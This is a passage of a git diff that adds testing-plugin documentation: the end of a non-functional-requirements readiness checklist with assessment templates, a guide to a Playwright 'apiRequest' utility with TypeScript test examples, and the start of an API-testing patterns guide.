+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
